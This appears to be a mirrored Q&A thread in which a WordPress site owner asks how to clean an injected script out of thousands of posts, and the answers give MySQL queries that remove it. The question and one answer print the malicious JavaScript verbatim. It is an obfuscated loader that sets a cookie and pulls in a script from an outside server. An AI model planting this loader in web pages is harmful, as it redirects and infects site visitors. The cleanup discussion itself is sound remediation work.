如何从sql注入攻击中删除帖子中的脚本?

问题描述 投票:3回答:1

我有一个插件,使我的Wordpress网站容易受到SQL注入攻击。我已经锁定了我的网站并删除了所有Wordpress文件,然后重新安装了Wordpress。该插件也已被删除。不幸的是,我现在已经安装了以下示例脚本的所有2503个帖子:

<!--codes_iframe-->
<script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script>
<!--/codes_iframe-->

问题是,当我搜索特定脚本时,每个帖子的base64字符串都不同。所以我不能只是做一个查找和替换/删除。

我的想法是,因为脚本的开头和结尾实际上是注释的,数据库查询不能以某种方式删除它们之间的代码然后第二个查询删除注释?如果是这样,我无法在任何地方找到它。这似乎很容易,但显然(根据谷歌)它很复杂。

希望有人会有程序上的补救措施。在此期间,我将手动执行此删除操作,希望有人可以节省一些时间。

wordpress sql-injection
1个回答
5
投票

MySQL 8.0引入了一个新的函数REGEXP_REPLACE()但是如果你使用的是早期版本的MySQL,你可以使用LOCATE()来查找文本中的开始和结束位置,然后在这两个位置之间删除内容。

我测试了这个 - 我创建了一个表wp_mytable并将你的违规文本放入其中,前后有一些文本。

mysql> select * from wp_mytable\G
*************************** 1. row ***************************
 id: 1
txt: ABC 123
<!--codes_iframe-->
<script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"></script>')} </script>
<!--/codes_iframe-->
And that's all, folks.
1 row in set (0.00 sec)

LOCATE()可以找到open和close标签:

mysql> SELECT LOCATE('<!--codes_iframe-->', txt) as start from wp_mytable;
+-------+
| start |
+-------+
|     9 |
+-------+

mysql> SELECT LOCATE('<!--/codes_iframe-->', txt) as end from wp_mytable;
+------+
| end  |
+------+
|  830 |
+------+

现在,如果我们用位置9之前的内容替换txt,并且在位置830 + LENGTH('<!--/codes_iframe-->')之后,那将删除问题内容。

首先使用SELECT测试它:

mysql> SELECT 
  SUBSTRING(txt, 1, LOCATE('<!--codes_iframe-->', txt)-1) AS pre_txt,
  SUBSTRING(txt, LOCATE('<!--/codes_iframe-->', txt)+LENGTH('<!--/codes_iframe-->')) AS post_txt 
  FROM wp_mytable\G
*************************** 1. row ***************************
 pre_txt: ABC 123

post_txt: 
And that's all, folks.

当我们确信这是正确的子字符串时,将各个部分连接在一起并在更新中使用它们:

mysql> UPDATE wp_mytable SET txt = CONCAT(
  SUBSTRING(txt, 1, LOCATE('<!--codes_iframe-->', txt)-1),
  SUBSTRING(txt, LOCATE('<!--/codes_iframe-->', txt)+LENGTH('<!--/codes_iframe-->')))
  WHERE LOCATE('<!--codes_iframe-->', txt) > 0;

与往常一样,在尝试此类手术之前,请备份您的数据。

在我完成此替换后,您还应该再次搜索数据,以防在给定文本中插入两次有问题的脚本。替换方法仅删除第一次出现,但您想要这样做。您不希望在两次出现的脚本之间删除合法文本。

顺便说一句,我很遗憾听到你被SQL注入攻击攻击了。人们有时会吮吸。


0
投票

只是想添加到这个帖子,因为我发现它有用,但与发布的答案有点不同。

最重要的是,我的wordpress数据库中的攻击被添加到许多很多wp_posts的末尾。所以,我不需要重新连接两个字符串,只需从最后修剪。

不确定这是最好的版本,但是这对我有用(在用SELECT测试之后)并清除了近3000个有问题的代码帖子:

UPDATE wp_posts SET post_content =
 SUBSTRING(post_content, 1, LOCATE('<!--codes_iframe-->', post_content)-1)
 WHERE LOCATE('<!--codes_iframe-->', post_content) >0;

感谢您帮助我的网站最终清除!

© www.soinside.com 2019 - 2024. All rights reserved.